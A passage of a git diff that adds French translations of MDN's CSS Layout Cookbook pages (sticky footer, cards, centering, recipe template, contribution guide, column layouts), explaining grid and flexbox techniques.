+<p class="summary">Un bas de page adhérant est un motif où le bas de page reste en bas de la zone d'affichage (<em>viewport</em>) lorsque le contenu est moins haut que la zone d'affichage. Dans cet article, nous verrons quelques techniques pour parvenir à ce résultat.</p>
+
+<p><img alt="A sticky footer pushed to the bottom of a box" src="https://mdn.mozillademos.org/files/16184/cookbook-footer.png" style="height: 807px; width: 1213px;"></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Voici les spécifications rapides pour décrire le résultat qu'on souhaite obtenir :</p>
+
+<ul>
+ <li>Le pied de page est en bas de la zone d'affichage lorsque le contenu est suffisamment petit</li>
+ <li>Si le contenu est plus grand que la zone d'affichage, le pied de page est situé sous le contenu.</li>
+</ul>
+
+<h2 id="Recette">Recette</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/sticky-footer--download.html">Télécharger cet example</a></p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Dans cet exemple, ainsi que dans le suivant, on utilise un élément enveloppant avec <code>min-height: 100%</code> afin que l'exemple intégré à la page fonctionne. Pour reproduire cela sur une page complète, on peut utiliser {{cssxref("min-height")}} avec la valeur <code>100vh</code> sur l'élément {{htmlelement("body")}} qu'on utilise comme conteneur de grille.</p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p>Dans l'exemple précédent, on utilise une grille CSS pour réaliser ce bas de page adhérant. L'élément <code>.wrapper</code> a une hauteur minimale de <code>100%</code>, ce qui signifie qu'il est aussi grand que le conteneur dans lequel il est placé. On crée ensuite une grille avec une seule colonne et trois lignes, une pour chaque partie de la disposition.</p>
+
+<p>Le placement automatique de la grille placera les objets selon l'ordre du document source. Le titre vient donc se placer sur la première piste (dimensionnée automatiquement), le contenu vient se placer sur la piste <code>1fr</code> et le pied de page se retrouve dans la troisième région (dimensionnée automatiquement). La piste du milieu, dimensionnée avec <code>1fr</code>, occupera tout l'espace disponible et grandira pour remplir l'espace disponible.</p>
+
+<h2 id="Méthodes_alternatives">Méthodes alternatives</h2>
+
+<p>Si vous devez prendre en charge des navigateurs qui ne permettent pas d'utiliser les grilles CSS, vous pouvez utiliser les boîtes flexibles (<em>flexbox</em>) pour avoir une note de bas de page adhérante.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer-flexbox.html", '100%', 720)}}</p>
+
+<p>On commence de la même façon mais on utilise <code>display:flex</code> plutôt que <code>display:grid</code> sur <code>.wrapper</code>. On définit <code>flex-direction</code> avec la valeur <code>column</code> afin d'avoir une organisation verticale. Pour le contenu principal, on utilise <code>flex-grow: 1</code> et pour les deux autres éléments, on utilise <code>flex-shrink: 0</code>. Cela évite de les réduire encore lorsque le contenu remplit la zone principale.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h4 id="grid-template-rows">grid-template-rows</h4>
+
+<p>{{Compat("css.properties.grid-template-rows")}}</p>
+
+<h4 id="flex-direction">flex-direction</h4>
+
+<p>{{Compat("css.properties.flex-direction")}}</p>
+
+<h4 id="flex-grow">flex-grow</h4>
+
+<p>{{Compat("css.properties.flex-grow")}}</p>
+
+<h4 id="flex-shrink">flex-shrink</h4>
+
+<p>{{Compat("css.properties.flex-shrink")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base">Les concepts de base des grilles CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/carte/index.html b/files/fr/web/css/layout_cookbook/carte/index.html
new file mode 100644
index 0000000000..f363a49f0d
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/carte/index.html
@@ -0,0 +1,81 @@
+---
+title: Carte
+slug: Web/CSS/Layout_cookbook/Carte
+tags:
+  - CSS
+  - CSS Grid
+  - Guide
+  - Recette
+translation_of: Web/CSS/Layout_cookbook/Card
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Dans ce guide, nous verrons comment créer des cartes (<em>cards</em> en anglais), disposant éventuellement d'un pied de page, qui peuvent être organisée en listes.</p>
+
+<p><img alt="Three card components in a row" src="https://mdn.mozillademos.org/files/16278/cards.png" style="height: 1172px; width: 1629px;"></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Une carte peut contenir différents éléments tels qu'un titre, une image, un contenu texte et un pied de page.</p>
+
+<p>Chaque carte devrait avoir la même hauteur et les pied de page devrait être placés en bas de la carte.</p>
+
+<p>Lorsqu'on ajoute des cartes à un ensemble de cartes, celles-ci devraient s'organiser sur deux dimensions.</p>
+
+<h2 id="Recette">Recette</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/card.html", '100%', 1720)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/card--download.html">Télécharger cet exemple</a>.</p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p>Chaque carte est organisée en utilisant <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">une grille CSS</a> bien qu'elle ne soit que sur une seule dimension. Cela permet en effet d'utiliser le dimensionnement du contenu pour les pistes de la grille. Pour avoir une grille avec une seule colonne, on utilise ce fragment de CSS :</p>
+
+<pre class="brush: css">.card {
+  display: grid;
+  grid-template-rows: max-content 200px 1fr;
+}</pre>
+
+<p>La piste pour le titre est définie avec {{cssxref("max-content")}} ce qui empêche de l'étirer. On décide ensuite que l'image puisse occuper la piste au maximum sur 200 pixels. On définit ensuite la prochaine piste (où le contenu texte se trouve) avec une dimension de <code>1fr</code>. Autrement dit, la piste dédiée au contenu occupera tout l'espace restant.</p>
+
+<p>Si la carte possède un pied de page, celui-ci sera dimensionné automatiquement car les lignes ajoutées sur la grille implicite sont dimensionnés automatiquement. Aussi, le pied de page sera suffisamment grand pour contenir l'ensemble de son texte.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Les éléments de différentes cartes ne seront pas alignés les uns avec les autres car chaque carte est une grille indépendante. La fonctionnalité de sous-grille (<em>subgrid</em>), proposée pour la version de niveau 2 du module de spécification CSS Grid, pourrait apporter une solution à ce problème.</p>
+</div>
+
+<h2 id="Méthodes_alternatives">Méthodes alternatives</h2>
+
+<p>On pourrait également utiliser <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">les boîtes flexibles</a> pour organiser le contenu d'une carte. Dans cette configuration, il faut laisser la zone dédiée au contenu s'étendre et ne pas rendre les autres éléments flexibles. On pourrait ainsi obtenir simplement cette disposition. Les grilles permettent de dimensionner les pistes au niveau du conteneur, pour les boîtes flexibles, il faut dimensionner chaque élément séparément.</p>
+
+<p>Pour l'organisation de l'ensemble des cartes (et pas des cartes individuelles), on pourrait également utiliser les boîtes flexibles mais on aurait alors la dernière carte qui occuperait tout le reste d'une ligne et qui serait potentiellement plus larges que les autres cartes. Une autre méthode consisterait à utiliser <a href="/fr/docs/Web/CSS/Colonnes_CSS">une disposition multi-colonnes</a> où les cartes s'empileraient sur les différentes colonnes (un point qui peut être souhaitable ou indésirable selon l'effet désiré).</p>
+
+<p>Voir <a href="/fr/docs/Web/CSS/Layout_cookbook/Disposition_en_colonnes">la recette sur les colonnes</a> pour observer ces méthodes en action.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Selon le contenu des cartes, il est possible voire souhaitable d'appliquer quelques traitements pour améliorer l'accessibilité. Voir l'article <a href="https://inclusive-components.design/cards/"><em>Inclusive Components: Card</em> (en anglais)</a>, écrit par Heydon Pickering, pour des explications détaillées à ce propos.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="grid-template-columns">grid-template-columns</h3>
+
+<p>{{Compat("css.properties.grid-template-columns")}}</p>
+
+<h3 id="grid-template-rows">grid-template-rows</h3>
+
+<p>{{Compat("css.properties.grid-template-rows")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{Cssxref("grid-template-columns")}}, {{Cssxref("grid-template-rows")}}, {{Cssxref("grid-gap")}}</li>
+ <li><a href="https://inclusive-components.design/cards/"><em>Inclusive Components: Card</em> (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/centrer_un_element/index.html b/files/fr/web/css/layout_cookbook/centrer_un_element/index.html
new file mode 100644
index 0000000000..c4d1fb52c3
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/centrer_un_element/index.html
@@ -0,0 +1,59 @@
+---
+title: Centrer un élément
+slug: Web/CSS/Layout_cookbook/Centrer_un_element
+tags:
+  - Alignement
+  - CSS
+  - Layout
+  - centrer
+  - flexbox
+  - recettes
+translation_of: Web/CSS/Layout_cookbook/Center_an_element
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Comment centrer une boîte dans une autre boîte ? Centrer à la fois horizontalement et verticalement était difficile avant l'arrivée des boîtes flexibles (<em>flexbox</em>), mais c'est désormais beaucoup plus simple grâce aux propriétés du module de spécification <em>Box Alignment</em>.</p>
+
+<p><img alt="an element centered inside a larger box" src="https://mdn.mozillademos.org/files/16182/cookbook-center.png" style="height: 421px; width: 1219px;"></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Centrer un élément à la fois horizontalement et verticalement dans un autre élément.</p>
+
+<h2 id="Recette">Recette</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/center.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/center--download.html">Télécharger cet exemple</a></p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p>Pour centrer une boîte dans une autre, on a donné au contenant une propriété <code>display: flex</code>.</p>
+
+<p>Ensuite, on a paramétré {{cssxref("align-items")}} avec la valeur <code>center</code> pour centrer la boîte verticalement, et {{cssxref("justify-content")}} avec la valeur <code>center</code> pour centrer horizontalement.</p>
+
+<p>À l'avenir, nous pourrons peut-être centrer les éléments sans avoir à transformer le parent en contenant flexible, puisque les propriétés de Box Alignment utilisées ici sont aussi faites pour s'appliquer à une disposition en bloc classique.<br>
+ Cependant, sa prise en charge dans ce cas (disposition en bloc) est actuellement limitée ; l'utilisation de Flexbox pour centrer est donc, pour le moment, la technique la plus robuste.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les différentes méthodes de layout ont chacune leur compatibilité avec les navigateurs. Les tableaux ci-dessous détaillent le support de base pour chaque propriété.</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="align-items"><code>align-items</code></h3>
+
+<p>{{Compat("css.properties.align-items")}}</p>
+
+<h3 id="justify-content"><code>justify-content</code></h3>
+
+<p>{{Compat("css.properties.justify-content")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox">L'alignement des boîtes avec Flexbox</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">CSS Box alignment guide</a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/contribuer_à_une_recette/cookbook_template/index.html b/files/fr/web/css/layout_cookbook/contribuer_à_une_recette/cookbook_template/index.html
new file mode 100644
index 0000000000..7223cde7ef
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/contribuer_à_une_recette/cookbook_template/index.html
@@ -0,0 +1,62 @@
+---
+title: Cookbook template
+slug: Web/CSS/Layout_cookbook/Contribuer_à_une_recette/Cookbook_template
+tags:
+  - CSS
+  - Meta
+translation_of: Web/CSS/Layout_cookbook/Contribute_a_recipe/Cookbook_template
+---
+<p>{{CSSRef}}</p>
+
+<div class="note"><strong>Note :</strong> Voici un modèle de contenu pour les pages de « recette » CSS. Vous êtes invité⋅e à utiliser cette page comme modèle lorsque vous créez une nouvelle recette.<br>
+<em>Les commentaires en italiques sont des informations sur l'utilisation de telle ou telle partie du modèle.</em></div>
+
+<p class="summary"><em>Une description du problème qu'on souhaite résoudre ou du motif qu'on illustre avec cette recette.</em></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p><em>Que cherche-t-on à faire avec cette recette ? Quel problème résout-on ici ? Il faut expliquer de façon concise ce que l'on souhaite faire.</em></p>
+
+<h2 id="Recette">Recette</h2>
+
+<p><em>Il faudra changer le chemin de la macro pour correspondre à celui de votre exemple une fois que celui-ci a été fusionné sur le dépôt principal. Le dernier paramètre correspond à la hauteur qui peut être adaptée si besoin.</em></p>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/center.html", '100%', 720)}}</p>
+
+<p><em>Il faut modifier le lien pour cibler la version téléchargeable de votre exemple.</em></p>
+
+<div class="note">
+<p><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/center--download.html">Télécharger cet exemple</a>.</p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p><em>Expliquez ici les décisions prises pour réaliser cette  recette. Pourquoi avez-vous choisi telle méthode de disposition ? Vous pouvez inclure ici d'autres exemples. Cette section est assez flexible car la complexité d'une recette peut varier grandement.</em></p>
+
+<h2 id="Méthodes_de_recours_ou_alternatives">Méthodes de recours ou alternatives</h2>
+
+<p><em>S'il existe d'autres méthodes ou des méthodes qui permettent une amélioration progressive pour les navigateurs qui ne prennent pas en charge les fonctionnalités récentes utilisées, vous pouvez les décrire ici.</em></p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p><em>Inclure ici les aspects spécifiquement liés à l'accessibilité pour cette recette. Cette section peut être omise si rien de notable ne concerne l'accessiblité pour cette recette.</em></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p><em>Inclure ici les données de compatibilité pour les principales propriétés utilisées. Comme exemple, voici comment faire pour inclure les données concernant <code>align-items</code>.</em></p>
+
+<h3 id="align-items">align-items</h3>
+
+<p>{{Compat("css.properties.align-items")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><em>Liste de liens sur les propriétés concernées : {{Cssxref("example-property")}}</em></li>
+ <li><em>Liens vers des articles qui expliquent comment utiliser telles propriétés en contexte</em></li>
+ <li><em>Liens vers des ressources externes. Il ne faut pas hésiter à pointer vers de bonnes ressources externes mais leur contenu ne doit pas se limiter à des points de détail.</em></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/contribuer_à_une_recette/index.html b/files/fr/web/css/layout_cookbook/contribuer_à_une_recette/index.html
new file mode 100644
index 0000000000..b356d20339
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/contribuer_à_une_recette/index.html
@@ -0,0 +1,104 @@
+---
+title: Contribuer à une recette
+slug: Web/CSS/Layout_cookbook/Contribuer_à_une_recette
+tags:
+  - CSS
+  - Guide
+  - MDN
+  - Meta
+translation_of: Web/CSS/Layout_cookbook/Contribute_a_recipe
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Si vous souhaitez contribuer en ajoutant une recette à celles présentées dans cette section de MDN, nous vous expliquons ici quelles étapes suivre pour que vos exemples soient publiés.</p>
+
+<h2 id="Qu'est-ce_qu'une_«_bonne_»_recette">Qu'est-ce qu'une « bonne » recette ?</h2>
+
+<p><strong>Une bonne recette consiste en la version la plus simple possible d'un motif utile pour concevoir une page web.</strong> Chaque ligne de CSS écrite dans la recette doit servir à illustrer le motif. Tout ce qui est purement décoratif pour l'exemple doit être exclus. L'idée est que la recette puisse servir de base à n'importe qui et de pouvoir appliquer ses propres styles sur l'exemple si besoin.</p>
+
+<div class="note">
+<p><strong>Note quant à la traduction et aux recettes en anglais :</strong> Une recette (l'exemple interactif, la version téléchargeable et la page MDN) doit d'abord être créée en anglais avant de pouvoir être mise à disposition en français. La suite de ce guide explique en français ce qu'il faut réaliser mais la majeure partie du contenu produit devra être en anglais.</p>
+</div>
+
+<h2 id="Les_étapes_pour_la_publication">Les étapes pour la publication</h2>
+
+<p>Une recette se décompose comme suit :</p>
+
+<ol>
+ <li>Un exemple interactif, stocké <a href="https://github.com/mdn/css-examples">sur le dépôt GitHub des exemples CSS</a></li>
+ <li>Une version téléchargeable de cet exemple, également stockée sur le dépôt des exemples CSS.</li>
+ <li>Une page MDN, rattachée à la section <a href="/fr/docs/Web/CSS/Layout_cookbook">Livre de recettes CSS</a> qui contient :
+  <ol>
+   <li>Les spécifications sommaires</li>
+   <li>La recette</li>
+   <li>Les choix effectués</li>
+   <li>Les éventuelles méthodes alternatives (utiles pour l'amélioration progressive)</li>
+   <li>Les points relatifs à l'accessibilité</li>
+   <li>La compatibilité des navigateurs</li>
+   <li>D'éventuelles ressources additionnelles</li>
+  </ol>
+ </li>
+</ol>
+
+<h3 id="1._Construire_le_motif">1. Construire le motif</h3>
+
+<p>Avant de passer de l'exemple à la recette, commencez par écrire votre motif sous la forme d'une simple page HTML. Pensez à ce que vous voulez démontrer/illustrer et visez un résultat aussi simple que possible. Évitez d'utiliser des conventions CSS spécifiques qui ne seraient pas nécessairement connues et qui pourraient complexifier inutilement l'exemple.</p>
+
+<p>Assurez-vous que le code HTML et CSS soit valide et testez le dans différents navigateurs. Vous pouvez tout à fait utiliser des propriétés CSS qui ne sont pas prises en charge par l'ensemble des navigateurs. Vous pourrez inclure les informations de compatibilité dans la page dédiée. Dans certains cas, il pourra être utile de fournir une deuxième version de l'exemple qui illustre des techniques qui permettent de prendre en charge des navigateurs plus anciens.</p>
+
+<h3 id="2._Créer_un_exemple_interactif">2. Créer un exemple interactif</h3>
+
+<p>Les exemples interactifs que vous voyez sur ces recettes et dans d'autres articles MDN permettent aux visiteurs de modifier le code et d'en voir le résultat sans être submergé⋅e de code superflu. Votre recette pourra utiliser un ou plusieurs exemples interactifs.</p>
+
+<p>Créez un <em>fork</em> du <a href="https://github.com/mdn/css-examples">dépôt des exemples CSS</a> puis étudiez le dossier <code>css-cookbook</code>. Ce dernier contient un fichier <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/cookbook-template.html">cookbook-template.html</a> dont vous pouvez repartir pour réaliser votre exemple. Enregistrez le nouveau fichier dans le répertoire <code>css-cookbook</code> avec un nom pertinent. Le modèle de base est commenté afin de vous aider à situer les différentes parties.</p>
+
+<p>Voici les quelques éléments importants.</p>
+
+<p>Il y a une feuille de style pour les panneaux des éditeurs, quelques règles pour la mise en forme de base et un fichier JavaScript qui contient les fonctionnalités de l'éditeur. Ces fichiers doivent être laissés tels quels.</p>
+
+<p>Dans l'en-tête, il y a deux blocs pour le style. Le premier concerne les éléments que le visiteur n'a pas besoin de voir ou de changer pour modifier l'exemple. Le second correspond à ce qui pourra être modifié dans l'exemple. Généralement, on ajoute l'ensemble du CSS provenant de l'exemple dans le premier bloc puis on choisit les règles qu'on souhaite reproduire dans le deuxième bloc. Les règles du deuxième bloc doivent être celles qui illustrent l'essence de l'exemple et qu'un utilisateur pourra modifier afin d'en voir l'effet sur le motif.</p>
+
+<p>Le HTML du composant doit être ajouté deux fois. Pour commencer dans la section avec la classe <code>preview</code> puis dans l'élément <code>textarea</code> <code>playable-html</code>.</p>
+
+<p>Le CSS éditable (celui du second bloc de l'en-tête) doit également être recopié dans la section  <code>playable-css</code>.</p>
+
+<p>Pour voir un exemple existant et comprendre les différentes parties, vous pouvez consulter <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/center.html">center.html</a> qui est utilisé sur la page <a href="/fr/docs/Web/CSS/Layout_cookbook/Centrer_un_element">Comment centrer un élément</a>.</p>
+
+<p>Si vous avez créé un <em>fork</em> du dépôt et que vous avez les fichiers CSS et JavaScript avec votre exemple, vous pouvez ouvrir la page dans un navigateur et l'ensemble devrait fonctionner de la même manière que lorsqu'il sera inclus dans une page.</p>
+
+<h4 id="Quelques_conseils">Quelques conseils</h4>
+
+<ol>
+ <li>N'indentez pas le code CSS et HTML à l'intérieur des <code>textarea</code> par rapport à l'ensemble du document HTML mais reprenez l'indentation depuis la première colonne (voir <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/center.html">center.html</a> par exemple).</li>
+ <li>Si vous avez besoins d'images, placez les dans le dossier avec les exemples. Vous pouvez également utiliser une des images déjà présente.</li>
+ <li>Vous pouvez ajuster la hauteur des <code>textarea</code> en modifiant la hauteur dans les styles <em>inline</em>/en incise.</li>
+</ol>
+
+<h3 id="3._Créer_une_version_téléchargeable">3. Créer une version téléchargeable</h3>
+
+<p>L'exemple intégré à la page contient tout le code mais seule la partie nécessaire est affichée. Faites une copie du fichier en ajoutant <code>--download</code> au nom. Ainsi, <code>center.html</code> possède une version téléchargeable intitulée <code>center--download.html</code>. Ce fichier devra ressembler à l'exemple initial et contenir une version basique du motif, sur une seule page HTML. Il peut être utile d'inclure les règles CSS applliquées à <code>body</code> et qui sont dans la feuille de style intégrée. Vous pouvez consulter <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/cookbook-template--download.html">cookbook-template--download.html</a> comme exemple et point de départ.</p>
+
+<h3 id="4._Réaliser_une_pull_request_avec_votre_exemple">4. Réaliser une <em>pull request</em> avec votre exemple</h3>
+
+<p>Ouvrez une <em>pull request</em> depuis votre <em>fork</em> vers le <a href="https://github.com/mdn/css-examples">dépôt des exemples CSS</a>. Nous pourrons ainsi vous aider à apporter les modifications nécessaires pour la créations de la page. De plus, l'exemple devra être fusionné afin de pouvoir être affiché sur une page. Dans la <em>pull request</em>, veuillez écrire une présentation de cette recette et des concepts que vous illustrez.</p>
+
+<h3 id="5._Créer_la_page_sur_MDN">5. Créer la page sur MDN</h3>
+
+<p>Une fois l'exemple fusionné, vous pouvez créer l'article correspondant sur MDN. Pour cela, vous aurez besoin d'un compte et <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_and_edit_pages#Getting_page_creation_permissions">des permissions pour la création de page</a>. Vous pourrez alors créer une page comme sous-page de la section. <a href="/en-US/docs/Web/CSS/Layout_cookbook/Contribute_a_recipe/Cookbook_template">Cette page modèle pourra vous servir de point de départ pour votre contenu</a>.</p>
+
+<p>Le modèle explique le contenu de chaque section. Vous pouvez également consulter les recettes existantes comme références. Si vous cliquez sur le bouton d'édition en haut de page, vous pourrez ainsi accéder au contenu « brut » de la page et voir comment les macros sont utilisées afin d'intégrer les données de compatibilité ou les exemples interactifs.</p>
+
+<div class="note">
+<p><strong>Note de traduction :</strong> Si vous souhaitez effectuer la traduction d'une recette existante, vous pouvez consulter <a href="/fr/docs/Web/CSS/Layout_cookbook/Contribute_a_recipe/Cookbook_template">la page modèle en français</a>.</p>
+</div>
+
+<p>Si vous avez besoin d'une aide générale sur l'utilisation de MDN, vous pouvez consulter les pages d'aide.</p>
+
+<p>Si vous avez des questions ou que vous souhaitez que quelqu'un vérifie votre page, n'hésitez pas à demander sur <a href="https://discourse.mozilla.org/c/mdn">le forum Discourse de MDN</a> ou à venir <a href="/fr/docs/MDN/Rejoindre_la_communauté/Conversations#Chat_sur_IRC">discuter sur IRC</a> (ces deux canaux sont principalement anglophones).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Layout_cookbook/Contribute_a_recipe/Cookbook_template">Page modèle d'une recette</a></li>
+ <li><a href="https://github.com/mdn/css-examples">Dépôt git des exemples CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/disposition_en_colonnes/index.html b/files/fr/web/css/layout_cookbook/disposition_en_colonnes/index.html
new file mode 100644
index 0000000000..140cc9a35a
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/disposition_en_colonnes/index.html
@@ -0,0 +1,129 @@
+---
+title: Disposition en colonnes
+slug: Web/CSS/Layout_cookbook/Disposition_en_colonnes
+tags:
+  - CSS
+  - Guide
+  - Multi-col
+  - flexbox
+  - grid
+translation_of: Web/CSS/Layout_cookbook/Column_layouts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Vous aurez souvent à créer des dispositions organisées en colonnes. CSS fournit différentes méthodes pour parvenir à de telles dispositions. Les grilles CSS ou les boîtes flexibles ou encore les dispositions multi-colonnes peuvent être utilisées et choisir l'une de ces méthodes dépend de ce que l'on veut obtenir. Dans ce guide, nous verrons ces différentes options.</p>
+
+<p><img alt="three different styles of layouts which have two columns in the container." src="https://mdn.mozillademos.org/files/16183/cookbook-multiple-columns.png" style="height: 406px; width: 1541px;"></p>
+
+<h2 id="Prérequis">Prérequis</h2>
+
+<p>Il existe plusieurs « motifs » qu'on peut vouloir réaliser avec des colonnes :</p>
+
+<ul>
+ <li>Un fil continu qui se divise en colonne, à la façon d'un journal papier.</li>
+ <li>Une seule ligne d'éléments divisée en colonnes qui ont la même hauteur.</li>
+ <li>Plusieurs lignes et colonnes qui sont alignées.</li>
+</ul>
+
+<h2 id="Les_«_recettes_»">Les « recettes »</h2>
+
+<p>Selon le scénario souhaité, on utilisera différentes méthodes de disposition.</p>
+
+<h3 id="Un_fil_continu_de_contenu_-_Disposition_multi-colonnes">Un fil continu de contenu - Disposition multi-colonnes</h3>
+
+<p>En créant des colonnes avec une disposition multi-colonne, le texte pourra former un flux continu qui remplira chacune des colonnes à la suite des autres. Les colonnes auront toutes la même taille et il ne sera pas possible de cibler une colonne en particulier ou le contenu d'une colonne en particulier.</p>
+
+<p>L'espacement entre les colonnes peut être géré avec la propriété {{cssxref("column-gap")}} et il est possible d'ajouter une ligne de délimitation grâce à {{cssxref("column-rule")}}.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/columns-multicol.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/columns-multicol--download.html">Télécharger cet exemple</a></p>
+</div>
+
+<p>On utilisera une disposition multi-colonnes lorsque :</p>
+
+<ul>
+ <li>On souhaite organiser le texte à la façon d'un journal imprimé</li>
+ <li>On a un ensemble de petits éléments qu'on souhaite fragmenter en colonnes</li>
+ <li>Il n'est pas nécessaire de cibler une colonne en particulier pour des raisons de mise en forme.</li>
+</ul>
+
+<h3 id="Une_seule_ligne_fragmentée_en_cellules_de_même_taille_—_Utilisation_des_boîtes_flexibles">Une seule ligne fragmentée en cellules de même taille — Utilisation des boîtes flexibles</h3>
+
+<p>Les boîtes flexibles peuvent être utilisées afin de diviser du contenu en colonnes grâce à la propriété {{cssxref("flex-direction")}} utilisée avec la valeur <code>row</code>. Toutefois, une boîte flexible cible les éléments à l'intérieur du conteneur flexible et placera chaque enfant direct dans une nouvelle colonne. On a donc un comportement différent de celui vu précédemment avec les multi-colonnes.</p>
+
+<p>À l'heure actuelle, il n'existe pas de méthode qui permette de créer une ligne entre les objets flexibles et la prise en charge des navigateurs pour les propriétés {{cssxref("column-gap")}} et {{cssxref("row-gap")}} est limitée. Pour créer un espace entre les éléments, il faudra donc utiliser une marge.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/columns-flexbox.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/columns-flexbox--download.html">Télécharger cet exemple</a></p>
+</div>
+
+<p>Les boîtes flexibles peuvent également être utilisées afin de créer des dispositions où les objets flexibles « passent à la ligne » en utilisant la propriété {{cssxref("flex-wrap")}} et la valeur <code>wrap</code> sur le conteneur.  Les nouvelles lignes répartiront l'espace pour cette ligne uniquement, il n'y aura pas d'alignement d'une ligne à l'autre (comme on peut le voir dans l'exemple qui suit). C'est pour cette raison qu'on décrit les boîtes flexibles comme étant une méthode de disposition sur une seul dimension : cette méthode permet de contrôler la disposition en ligne ou en colonne mais pas de gérer les deux à la fois.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/columns-flexbox-wrapping.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/columns-flexbox-wrapping--download.html">Télécharger cet exemple</a></p>
+</div>
+
+<p>On utilisera les boîtes flexibles pour :</p>
+
+<ul>
+ <li>Organiser des lignes ou colonnes d'objets indépendantes</li>
+ <li>Aligner les objets sur l'axe orthogonal au sens de lecture</li>
+ <li>Les cas où l'alignement d'une ligne sur l'autre n'est pas important</li>
+</ul>
+
